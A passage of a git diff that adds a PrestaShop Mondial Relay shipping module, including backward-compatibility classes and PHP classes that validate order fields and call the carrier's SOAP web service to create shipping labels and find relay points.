+ * Class Shop for Backward compatibility + */ +class ShopBackwardModule extends Shop +{ + const CONTEXT_ALL = 1; + + public $id = 1; + public $id_shop_group = 1; + + + public function getContextType() + { + return ShopBackwardModule::CONTEXT_ALL; + } + + // Simulate shop for 1.3 / 1.4 + public function getID() + { + return 1; + } + + /** + * Get shop theme name + * + * @return string + */ + public function getTheme() + { + return _THEME_NAME_; + } + + public function isFeatureActive() + { + return false; + } +} + +/** + * Class Controller for a Backward compatibility + * Allow to use method declared in 1.5 + */ +class ControllerBackwardModule +{ + /** + * @param $js_uri + * @return void + */ + public function addJS($js_uri) + { + Tools::addJS($js_uri); + } + + /** + * @param $css_uri + * @param string $css_media_type + * @return void + */ + public function addCSS($css_uri, $css_media_type = 'all') + { + Tools::addCSS($css_uri, $css_media_type); + } + + public function addJquery() + { + if (_PS_VERSION_ < '1.5') + $this->addJS(_PS_JS_DIR_.'jquery/jquery-1.4.4.min.js'); + elseif (_PS_VERSION_ >= '1.5') + $this->addJS(_PS_JS_DIR_.'jquery/jquery-1.7.2.min.js'); + } + +} + +/** + * Class Customer for a Backward compatibility + * Allow to use method declared in 1.5 + */ +class CustomerBackwardModule extends Customer +{ + public $logged = false; + /** + * Check customer informations and return customer validity + * + * @since 1.5.0 + * @param boolean $with_guest + * @return boolean customer validity + */ + public function isLogged($with_guest = false) + { + if (!$with_guest && $this->is_guest == 1) + return false; + + /* Customer is valid only if it can be load and if object password is the same as database one */ + if ($this->logged == 1 && $this->id && Validate::isUnsignedId($this->id) && Customer::checkPassword($this->id, $this->passwd)) + return true; + return false; + } +} diff --git a/modules/mondialrelay2/backward_compatibility/Display.php b/modules/mondialrelay2/backward_compatibility/Display.php new file mode 100755 index 0000000..3d0ae2d --- /dev/null +++ b/modules/mondialrelay2/backward_compatibility/Display.php @@ -0,0 +1,24 @@ += '1.5') + parent::setTemplate($template); + else + $this->template = $template; + } + + // Overload displayContent for 1.4 + public function displayContent() + { + parent::displayContent(); + + echo Context::getContext()->smarty->fetch($this->template); + } +} \ No newline at end of file diff --git a/modules/mondialrelay2/backward_compatibility/backward.ini b/modules/mondialrelay2/backward_compatibility/backward.ini new file mode 100755 index 0000000..6520fb7 --- /dev/null +++ b/modules/mondialrelay2/backward_compatibility/backward.ini @@ -0,0 +1 @@ +version = 0.4 \ No newline at end of file diff --git a/modules/mondialrelay2/backward_compatibility/backward.php b/modules/mondialrelay2/backward_compatibility/backward.php new file mode 100755 index 0000000..64ceb1f --- /dev/null +++ b/modules/mondialrelay2/backward_compatibility/backward.php @@ -0,0 +1,55 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Backward function compatibility + * Need to be called for each module in 1.4 + */ + +// Get out if the context is already defined +if (!in_array('Context', get_declared_classes())) + require_once(dirname(__FILE__).'/Context.php'); + +// Get out if the Display (BWDisplay to avoid any conflict)) is already defined +if (!in_array('BWDisplay', get_declared_classes())) + require_once(dirname(__FILE__).'/Display.php'); + +// If not under an object we don't have to set the context +if (!isset($this)) + return; +else if (isset($this->context)) +{ + // If we are under an 1.5 version and backoffice, we have to set some backward variable + if (_PS_VERSION_ >= '1.5' && isset($this->context->employee->id) && $this->context->employee->id) + { + global $currentIndex; + $currentIndex = AdminController::$currentIndex; + } + return; +} + +$this->context = Context::getContext(); +$this->smarty = $this->context->smarty; \ No newline at end of file diff --git a/modules/mondialrelay2/backward_compatibility/index.php b/modules/mondialrelay2/backward_compatibility/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/modules/mondialrelay2/backward_compatibility/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay2/classes/IMondialRelayWSMethod.php b/modules/mondialrelay2/classes/IMondialRelayWSMethod.php new file mode 100755 index 0000000..76e1ee3 --- /dev/null +++ b/modules/mondialrelay2/classes/IMondialRelayWSMethod.php @@ -0,0 +1,59 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'/../errorCode.php'); +require_once(realpath(dirname(__FILE__).'/../mondialrelay.php')); +require_once(realpath(dirname(__FILE__).'/../lib/nusoap/nusoap.php')); + +/* + * This method allow to create any method object to dial more + * easyly with the Mondial Reelay WebService + */ +interface IMondialRelayWSMethod +{ + /* + * Initiate the data needed to be send properly + * Can manage a list of data for multiple request + */ + public function init(); + + /* + * Send one or multiple request to the webservice + */ + public function send(); + + /* + * Get the values with associated fields name + */ + public function getFieldsList(); + + /* + * Get the result of one or multiple send request + */ + public function getResult(); +} + +?> diff --git a/modules/mondialrelay2/classes/MRCreateTickets.php b/modules/mondialrelay2/classes/MRCreateTickets.php new file mode 100755 index 0000000..38e3ce6 --- /dev/null +++ b/modules/mondialrelay2/classes/MRCreateTickets.php @@ -0,0 +1,611 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* + * Interface + */ +require_once(dirname(__FILE__).'/IMondialRelayWSMethod.php'); + +/* + * Allow to create tickets - 'WSI2_CreationEtiquette' + */ +class MRCreateTickets implements IMondialRelayWSMethod +{ + public $class_name = __CLASS__; + + private $_fields = array( + 'id_mr_selected' => 0, + 'list' => array( + 'Enseigne' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z]{2}[0-9A-Z ]{6}$#'), + 'ModeCol' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^(CCC|CDR|CDS|REL)$#'), + 'ModeLiv' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^(LCC|LD1|LDS|24R|ESP|DRI)$#'), + 'NDossier' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|[0-9A-Z_ -]{0,15})$#'), + 'NClient' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|[0-9A-Z]{0,9})$#'), + 'Expe_Langage' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[A-Z]{2}$#'), + 'Expe_Ad1' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z_\-\'., /]{2,32}$#'), + 'Expe_Ad2' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z_\-\'., /]{0,32}$#'), + 'Expe_Ad3' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z_\-\'., /]{0,32}$#'), + 'Expe_Ad4' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z]{2}[0-9A-Z ]{6}$#'), + 'Expe_Ville' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[A-Z_\-\' ]{2,26}$#'), + 'Expe_CP' => array( + 'required' => true, + 'value' => '', + 'params' => array(), + 'methodValidation' => 'checkZipcodeByCountry'), + 'Expe_Pays' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[A-Z]{2}$#'), + 'Expe_Tel1' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^((00|\+)[1-9]{2}|0)[0-9][0-9]{7,8}$#'), + 'Expe_Tel2' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^((00|\+)[1-9]{2}|0)[0-9][0-9]{7,8}$#'), + 'Expe_Mail' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[\w\-\.\@_]{0,70}$#'), + 'Dest_Langage' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[A-Z]{2}$#'), + 'Dest_Ad1' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z_\-\'., /]{2,32}$#'), + 'Dest_Ad2' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z_\-\'., /]{2,32}$#'), + 'Dest_Ad3' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z_\-\'., /]{2,32}$#'), + 'Dest_Ad4' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z_\-\'., /]{0,32}$#'), + 'Dest_Ville' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[A-Z_\-\' ]{2,26}$#'), + 'Dest_CP' => array( + 'required' => true, + 'value' => '', + 'params' => array(), + 'methodValidation' => 'checkZipcodeByCountry'), + 'Dest_Pays' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[A-Z]{2}$#'), + 'Dest_Tel1' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^((00|\+)[1-9]{2}|0)[0-9][0-9]{7,8}$#'), + 'Dest_Tel2' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^((00|\+)[1-9]{2}|0)[0-9][0-9]{7,8}$#'), + 'Dest_Mail' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[\w\-\.\@_]{0,70}$#'), + 'Poids' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9]{3,7}$#'), + 'Longueur' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[0-9]{0,3}$#'), + 'Taille' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(XS|S|M|L|XL|XXL|3XL)$#'), + 'NbColis' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9]{1,2}$#'), + 'CRT_Valeur' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9]{1,7}$#'), + 'CRT_Devise' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|EUR)$#'), + 'Exp_Valeur' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[0-9]{0,7}$#'), + 'Exp_Devise' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|EUR)$#'), + 'COL_Rel_Pays' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[A-Z]{2}$#'), + 'COL_Rel' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|[0-9]{6})$#'), + 'LIV_Rel_Pays' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[A-Z]{2}$#'), + 'LIV_Rel' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|[0-9]{6})$#'), + 'TAvisage' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|O|N)$#'), + 'TReprise' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|O|N)$#'), + 'Montage' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|[0-9]{1,3})$#'), + 'TRDV' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|O|N)$#'), + 'Assurance' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(|[0-9A-Z]{1})$#'), + 'Instructions' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z_\-\'., /]{0,31}#'), + 'Security' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z]{32}$#'), + 'Texte' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^([^<>&\']{3,30})(\(cr\)[^<>&\']{0,30}){0,9}$#'))); + + private $_orderListId = NULL; + private $_totalOrder = 0; + private $_weightList = NULL; + private $_mondialrelay = NULL; + private $_fieldsList = array(); + private $_webServiceKey = ''; + private $_markCode = ''; + + private $_resultList = array( + 'error' => array(), + 'success' => array()); + + private $_webserviceURL = 'http://www.mondialrelay.fr/webservice/Web_Services.asmx?WSDL'; + + public function __construct($params, $object) + { + $this->_orderListId = $params['orderIdList']; + $this->_totalOrder = $params['totalOrder']; + $this->_weightList = $params['weightList']; + + $this->_mondialrelay = $object; + $this->_webServiceKey = $this->_mondialrelay->account_shop['MR_KEY_WEBSERVICE']; + $this->_markCode = $this->_mondialrelay->account_shop['MR_CODE_MARQUE']; + $this->class_name = strtolower($this->class_name); + } + + public function __destruct() + { + unset($this->_mondialrelay); + } + + /* + * Build a correct weight format (NNNNN) + */ + private function _weightFormat($weight) + { + while (strlen($weight) < 5) + $weight = '0'.$weight; + return $weight; + } + + /* + * Set the default value to the order paramaters + */ + private function _setRequestDefaultValue() + { + $this->_fields['list']['Enseigne']['value'] = $this->_mondialrelay->account_shop['MR_ENSEIGNE_WEBSERVICE']; + $this->_fields['list']['Expe_Langage']['value'] = $this->_mondialrelay->account_shop['MR_LANGUAGE']; + $this->_fields['list']['Expe_Ad1']['value'] = Configuration::get('PS_SHOP_NAME'); + $this->_fields['list']['Expe_Ad3']['value'] = Configuration::get('PS_SHOP_ADDR1'); + // Deleted, cause to many failed for the process + // $this->_fields['list']['Expe_Ad4']['value'] = Configuration::get('PS_SHOP_ADDR2'); + $this->_fields['list']['Expe_Ville']['value'] = Configuration::get('PS_SHOP_CITY'); + $this->_fields['list']['Expe_CP']['value'] = Configuration::get('PS_SHOP_CODE'); + $this->_fields['list']['Expe_CP']['params']['id_country'] = Configuration::get('PS_COUNTRY_DEFAULT'); + + if (_PS_VERSION_ >= '1.4') + $this->_fields['list']['Expe_Pays']['value'] = Country::getIsoById(Configuration::get('PS_SHOP_COUNTRY_ID')); + else + $this->_fields['list']['Expe_Pays']['value'] = substr(Configuration::get('PS_SHOP_COUNTRY'), 0, 2); + $this->_fields['list']['Expe_Tel1']['value'] = MRTools::getFormatedPhone(Configuration::get('PS_SHOP_PHONE')); + $this->_fields['list']['Expe_Mail']['value'] = Configuration::get('PS_SHOP_EMAIL'); + $this->_fields['list']['NbColis']['value'] = 1; + $this->_fields['list']['CRT_Valeur']['value'] = 0; + $this->_fields['list']['CRT_Devise']['value'] = 'EUR'; + } + + /* + * Initiate the data needed to be send properly + * Can manage a list of data for multiple request + */ + public function init() + { + if ($this->_totalOrder == 0) + throw new Exception($this->_mondialrelay->l('Please select at least one order', $this->class_name)); + + $this->_setRequestDefaultValue(); + if (count($orderListDetails = $this->_mondialrelay->getOrders($this->_orderListId))) + { + foreach ($orderListDetails as $orderDetail) + { + // Storage temporary + $base = $this->_fields; + $tmp = &$base['list']; + + $deliveriesAddress = new Address($orderDetail['id_address_delivery']); + $customer = new Customer($orderDetail['id_customer']); + + // Store the weight order set by the user + foreach($this->_weightList as $orderWeightInfos) + { + $detail = explode('-', $orderWeightInfos); + if (count($detail) == 2 && $detail[1] == $orderDetail['id_order']) + $tmp['Poids']['value'] = $this->_weightFormat($detail[0]); + } + + + $dest_tel = (!empty($deliveriesAddress->phone)) ? MRTools::getFormatedPhone($deliveriesAddress->phone) : ''; + + $dest_tel2 = (!empty($deliveriesAddress->phone_mobile)) ? MRTools::getFormatedPhone($deliveriesAddress->phone_mobile) : ''; + + $destIsoCode = Country::getIsoById($deliveriesAddress->id_country); + $tmp['ModeCol']['value'] = $orderDetail['mr_ModeCol']; + $tmp['ModeLiv']['value'] = $orderDetail['mr_ModeLiv']; + $tmp['NDossier']['value'] = $orderDetail['id_order']; + $tmp['NClient']['value'] = $orderDetail['id_customer']; + $tmp['Dest_Langage']['value'] = 'FR'; //Language::getIsoById($orderDetail['id_lang']); + $tmp['Dest_Ad1']['value'] = preg_replace(MRTools::REGEX_CLEAN_ADDR, '', substr($deliveriesAddress->firstname.' '.$deliveriesAddress->lastname, 0, 32)); + $tmp['Dest_Ad2']['value'] = preg_replace(MRTools::REGEX_CLEAN_ADDR, '', substr($deliveriesAddress->address2, 0, 32)); + $tmp['Dest_Ad3']['value'] = preg_replace(MRTools::REGEX_CLEAN_ADDR, '', substr($deliveriesAddress->address1, 0, 32)); + $tmp['Dest_Ville']['value'] = $deliveriesAddress->city; + $tmp['Dest_CP']['value'] = $deliveriesAddress->postcode; + $tmp['Dest_CP']['params']['id_country'] = $deliveriesAddress->id_country; + $tmp['Dest_Pays']['value'] = $destIsoCode; + $tmp['Dest_Tel1']['value'] = $dest_tel; + $tmp['Dest_Tel2']['value'] = $dest_tel2; + $tmp['Dest_Mail']['value'] = $customer->email; + $tmp['Assurance']['value'] = $orderDetail['mr_ModeAss']; + if ($orderDetail['MR_Selected_Num'] != 'LD1' && $orderDetail['MR_Selected_Num'] != 'LDS') + { + $tmp['LIV_Rel_Pays']['value'] = $orderDetail['MR_Selected_Pays']; + $tmp['LIV_Rel']['value'] = $orderDetail['MR_Selected_Num']; + } + + // Store the necessary information to the root case table + $base['id_mr_selected'] = $orderDetail['id_mr_selected']; + + // Add the temporary values to a field list for multiple request + $this->_fieldsList[] = $base; + unset($deliveriesAddress); + unset($customer); + } + $this->_generateMD5SecurityKey(); + } + } + + /* + * Generate the MD5 key for each param list + */ + private function _generateMD5SecurityKey() + { + // RootCase is the array case where the main information are stored + // it's an array containing id_mr_selected and an array with the necessary fields + foreach($this->_fieldsList as &$rootCase) + { + $concatenationValue = ''; + foreach($rootCase['list'] as $paramName => &$valueDetailed) + if ($paramName != 'Texte' && $paramName != 'Security') + { + // Mac server make an empty string instead of a cleaned string + // TODO : test on windows and linux server + $cleanedString = MRTools::removeAccents($valueDetailed['value']); + $valueDetailed['value'] = !empty($cleanedString) ? strtoupper($cleanedString) : strtoupper($valueDetailed['value']); + + // Call a pointer function if exist to do different test + if (isset($valueDetailed['methodValidation']) && + method_exists('MRTools', $valueDetailed['methodValidation']) && + isset($valueDetailed['params']) && + MRTools::$valueDetailed['methodValidation']($valueDetailed['value'], $valueDetailed['params'])) + $concatenationValue .= $valueDetailed['value']; + // Use simple Regex test given by MondialRelay + else if (isset($valueDetailed['regexValidation']) && + preg_match($valueDetailed['regexValidation'], $valueDetailed['value'], $matches)) + $concatenationValue .= $valueDetailed['value']; + // If the key is required, we set an error, else it's skipped + else if ((!strlen($valueDetailed['value']) && $valueDetailed['required']) || strlen($valueDetailed['value'])) + { + if (empty($valueDetailed['value'])) + $error = $this->_mondialrelay->l('This key', $this->class_name).' ['.$paramName.'] '.$this->_mondialrelay->l('is empty and need to be filled', $this->class_name); + else + $error = 'This key ['.$paramName.'] hasn not a valid value format : '.$valueDetailed['value']; + $this->_resultList['error'][$rootCase['list']['NDossier']['value']][] = $error; + } + } + $concatenationValue .= $this->_webServiceKey; + $rootCase['list']['Security']['value' ] = strtoupper(md5($concatenationValue)); + } + } + + /* + * Update the tables used and send mail with the order history + */ + private function _updateTable($params, $expeditionNum, $ticketURL, $trackingURL, $id_mr_selected) + { + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'mr_selected` + SET `MR_poids` = \''.pSQL($params['Poids']).'\', + `exp_number` = \''.pSQL($expeditionNum).'\', + `url_etiquette` = \''.pSQL($ticketURL).'\', + `url_suivi` = \''.pSQL($trackingURL).'\' + WHERE id_mr_selected = '.(int)$id_mr_selected); + + // NDossier contains the id_order + $order = new Order($params['NDossier']); + + // Update the database for order and orderHistory + $order->shipping_number = $expeditionNum; + $order->update(); + + $templateVars = array('{followup}' => $trackingURL); + $orderState = (Configuration::get('PS_OS_SHIPPING')) ? + Configuration::get('PS_OS_SHIPPING') : + _PS_OS_SHIPPING_; + + $history = new OrderHistory(); + $history->id_order = (int)$params['NDossier']; + $history->changeIdOrderState($orderState, (int)$params['NDossier']); + $history->id_employee = (int)Context::getContext()->employee->id; + $history->addWithemail(true, $templateVars); + + unset($order); + unset($history); + } + + /* + * Manage the return value of the webservice, handle the errors or build the + * succeed message + */ + private function _parseResult($client, $result, $params, $id_mr_selected) + { + $errors = &$this->_resultList['error'][$params['NDossier']]; + $success = &$this->_resultList['success'][$params['NDossier']]; + + if ($client->fault) + $errors[] = $this->_mondialrelay->l('It seems the request is not valid:', $this->class_name). + $result; + + $result = $result['WSI2_CreationEtiquetteResult']; + if (($errorNumber = $result['STAT']) != 0) + { + $errors[] = $this->_mondialrelay->l('There is an error number : ', $this->class_name).$errorNumber; + $errors[] = $this->_mondialrelay->l('Details : ', $this->class_name). + $this->_mondialrelay->getErrorCodeDetail($errorNumber); + } + else + { + $baseURL = 'http://www.mondialrelay.fr/'; + $expedition = $result['ExpeditionNum']; + $securityKey = strtoupper(md5('<'.$params['Enseigne'].$this->_markCode. + '>'.$expedition.'<'.$this->_webServiceKey.'>')); + $ticketURL = $baseURL.$result['URL_Etiquette']; + $trackingURL = $baseURL. + 'lg_fr/espaces/url/popup_exp_details.aspx?cmrq='.$params['Enseigne']. + $this->_markCode.'&nexp='.$expedition.'&crc='.$securityKey; + + $success['displayExpedition'] = $this->_mondialrelay->l('Expedition Number : ', $this->class_name) . $expedition; + $success['displayTicketURL'] = $this->_mondialrelay->l('Ticket URL : ', $this->class_name) . $ticketURL; + $success['displayTrackingURL'] = $this->_mondialrelay->l('Tracking URL: ', $this->class_name) . $trackingURL; + $success['expeditionNumber'] = $expedition; + + $this->_updateTable($params, $expedition, $ticketURL, $trackingURL, $id_mr_selected); + } + } + + /* + * Send one or multiple request to the webservice + */ + public function send() + { + if ($client = new nusoap_client($this->_webserviceURL, true)) + { + $client->soap_defencoding = 'UTF-8'; + $client->decode_utf8 = false; + + foreach($this->_fieldsList as $rootCase) + { + $params = $this->_getSimpleParamArray($rootCase['list']); + $result = $client->call( + 'WSI2_CreationEtiquette', + $params, + 'http://www.mondialrelay.fr/webservice/', + 'http://www.mondialrelay.fr/webservice/WSI2_CreationEtiquette'); + + $this->_parseResult($client, $result, $params, $rootCase['id_mr_selected']); + } + unset($client); + } + else + throw new Exception($this->_mondialrelay->l('The Mondial Relay webservice is not currently reliable', $this->class_name)); + } + + /* + ** Check if the shop parameter are currently well configured + */ + public function checkPreValidation() + { + $errorList = array('error' => array(), 'warn' => array()); + + $list = array( + 'Expe_Langage' => array( + 'value' => $this->_mondialrelay->account_shop['MR_LANGUAGE'], + 'error' => $this->_mondialrelay->l('Please check your language configuration', $this->class_name)), + 'Expe_Ad1' => array( + 'value' => Configuration::get('PS_SHOP_NAME'), + 'error' => $this->_mondialrelay->l('Please check your shop name configuration', $this->class_name)), + 'Expe_Ad3' => array( + 'value' => Configuration::get('PS_SHOP_ADDR1'), + 'error' => $this->_mondialrelay->l('Please check your address 1 configuration', $this->class_name)), + 'Expe_Ville' => array( + 'value' => Configuration::get('PS_SHOP_CITY'), + 'error' => $this->_mondialrelay->l('Please check your city configuration', $this->class_name)), + 'Expe_CP' => array( + 'value' => Configuration::get('PS_SHOP_CODE'), + 'error' => $this->_mondialrelay->l('Please check your zipcode configuration', $this->class_name)), + 'Expe_Pays' => array( + 'value' => ((_PS_VERSION_ >= '1.4') ? + Country::getIsoById(Configuration::get('PS_SHOP_COUNTRY_ID')) : + substr(Configuration::get('PS_SHOP_COUNTRY'), 0, 2)), + 'error' => $this->_mondialrelay->l('Please check your country configuration', $this->class_name)), + 'Expe_Tel1' => array( + 'value' => MRTools::getFormatedPhone(Configuration::get('PS_SHOP_PHONE')), + 'error' => $this->_mondialrelay->l('Please check your Phone configuration', $this->class_name)), + 'Expe_Mail' => array( + 'value' => Configuration::get('PS_SHOP_EMAIL'), + 'error' => $this->_mondialrelay->l('Please check your mail configuration', $this->class_name))); + + foreach($list as $name => $tab) + { + // Mac server make an empty string instead of a cleaned string + // TODO : test on windows and linux server + $cleanedString = MRTools::removeAccents($tab['value']); + $tab['value'] = !empty($cleanedString) ? strtoupper($cleanedString) : strtoupper($tab['value']); + + if ($name == 'Expe_CP') + { + if (version_compare(_PS_VERSION_, '1.4', '>=')) + { + if (!($zipcodeError = MRTools::checkZipcodeByCountry($tab['value'], array( + 'id_country' => Configuration::get('PS_COUNTRY_DEFAULT'))))) + $errorList['error'][$name] = $tab['error']; + } + else + $errorList['warn'][$name] = $this->_mondialrelay->l('Post code cannot be validated with PrestaShop versions older than 1.4', $this->class_name); + } + else if (isset($this->_fields['list'][$name]['regexValidation']) && + (!preg_match($this->_fields['list'][$name]['regexValidation'], $tab['value'], $matches))) + $errorList['error'][$name] = $tab['error']; + } + return $errorList; + } + + /* + * Get the values with associated fields name + * @fields : array containing multiple values information + */ + private function _getSimpleParamArray($fields) + { + $params = array(); + + foreach($fields as $keyName => $valueDetailed) + $params[$keyName] = $valueDetailed['value']; + return $params; + } + + /* + * Return the fields list + */ + public function getFieldsList() + { + return $this->_fieldsList['list']; + } + + /* + * Return the result of one or multiple sent requests + */ + public function getResult() + { + return $this->_resultList; + } + + /* + * Return which number order of the list is currently managed + */ + public static function getCurrentRequestUnderTraitment() + { + // TODO: Build a SQL Query to know how many request have been executed + } +} +?> diff --git a/modules/mondialrelay2/classes/MRGetRelayPoint.php b/modules/mondialrelay2/classes/MRGetRelayPoint.php new file mode 100755 index 0000000..535a735 --- /dev/null +++ b/modules/mondialrelay2/classes/MRGetRelayPoint.php @@ -0,0 +1,297 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* + * Interface + */ +require_once(dirname(__FILE__).'/IMondialRelayWSMethod.php'); + +/* + * Allow to fetch relay point - 'WSI2_RecherchePointRelais' + */ +class MRGetRelayPoint implements IMondialRelayWSMethod +{ + // Params is required if you use a pointer function + private $_fields = array( + 'list' => array( + 'Enseigne' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z]{2}[0-9A-Z ]{6}$#'), + 'Pays' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[A-Z]{2}$#'), + 'Ville' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[A-Z_\-\' ]{2,25}\s*#'), + 'CP' => array( + 'required' => false, + 'value' => '', + 'params' => array(), + 'methodValidation' => 'checkZipcodeByCountry'), + 'Taille' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(XS|S|M|L|XL|XXL|3XL)$#'), + 'Poids' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^[0-9]{3,7}$#'), + 'Action' => array( + 'required' => false, + 'value' => '', + 'regexValidation' => '#^(REL|24R|ESP|DRI)$#'), + 'Security' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z]{32}$#'))); + + private $_id_address_delivery = 0; + private $_weight = 0; + private $_webServiceKey = ''; + private $_mondialRelay = NULL; + private $_id_carrier = 0; + private $_id_delivery_country = 0; + + private $_resultList = array( + 'error' => array(), + 'success' => array()); + + private $_webserviceURL = 'http://www.mondialrelay.fr/webservice/Web_Services.asmx?WSDL'; + + public function __construct($params, $object) + { + $this->_mondialRelay = $object; + $this->_id_address_delivery = (int)($params['id_address_delivery']); + $this->_id_carrier = (int)($params['id_carrier']); + $this->_weight = (float)($params['weight']); + $this->_webServiceKey = $this->_mondialRelay->account_shop['MR_KEY_WEBSERVICE']; + } + + public function __destruct() + { + unset($this->_mondialRelay); + } + + public function init() + { + $address = new Address($this->_id_address_delivery); + $weight = $this->_mondialRelay->account_shop['MR_WEIGHT_COEFFICIENT'] * $this->_weight; + + if (!$address) + throw new Exception($this->_mondialrelay->l('Customer address can\'t be found')); + + $this->_fields['list']['Enseigne']['value'] = $this->_mondialRelay->account_shop['MR_ENSEIGNE_WEBSERVICE']; + $this->_fields['list']['Poids']['value'] = ($weight < 100) ? 100 : $weight; + $this->_fields['list']['Pays']['value'] = trim(Country::getIsoById($address->id_country)); + $this->_fields['list']['Ville']['value'] = trim($address->city); + $this->_fields['list']['CP']['value'] = trim($address->postcode); + $this->_fields['list']['CP']['params']['id_country'] = $address->id_country; + + $this->_generateMD5SecurityKey(); + unset($address); + } + + /* + * Generate the MD5 key for each param list + */ + private function _generateMD5SecurityKey() + { + $concatenationValue = ''; + foreach($this->_fields['list'] as $paramName => &$valueDetailed) + if ($paramName != 'Texte' && $paramName != 'Security') + { + // Mac server make an empty string instead of a cleaned string + // TODO : test on windows and linux server + $cleanedString = MRTools::removeAccents($valueDetailed['value']); + $valueDetailed['value'] = !empty($cleanedString) ? strtoupper($cleanedString) : strtoupper($valueDetailed['value']); + + $valueDetailed['value'] = strtoupper($valueDetailed['value']); + // Call a pointer function if exist to do different test + if (isset($valueDetailed['methodValidation']) && + method_exists('MRTools', $valueDetailed['methodValidation']) && + isset($valueDetailed['params']) && + MRTools::$valueDetailed['methodValidation']($valueDetailed['value'], $valueDetailed['params'])) + $concatenationValue .= $valueDetailed['value']; + // Use simple Regex test given by MondialRelay + else if (isset($valueDetailed['regexValidation']) && + preg_match($valueDetailed['regexValidation'], $valueDetailed['value'], $matches)) + $concatenationValue .= $valueDetailed['value']; + // If the key is required, we set an error, else it's skipped + else if ((!strlen($valueDetailed['value']) && $valueDetailed['required']) || strlen($valueDetailed['value'])) + { + $error = $this->_mondialRelay->l('This key').' ['.$paramName.'] '. + $this->_mondialRelay->l('hasn\'t a valide value format').' : '.$valueDetailed['value']; + $this->_resultList['error'][] = $error; + } + } + $concatenationValue .= $this->_webServiceKey; + $this->_fields['list']['Security']['value'] = strtoupper(md5($concatenationValue)); + } + + /* + * Get the values with associated fields name + * @fields : array containing multiple values information + */ + private function _getSimpleParamArray($fields) + { + $params = array(); + + foreach($fields as $keyName => $valueDetailed) + $params[$keyName] = $valueDetailed['value']; + return $params; + } + + /* + ** Get detail information for each relay + */ + private function _getRelayPointDetails($relayPointList) + { + $relayPointNumList = array(); + foreach($relayPointList as $num => $relayPoint) + 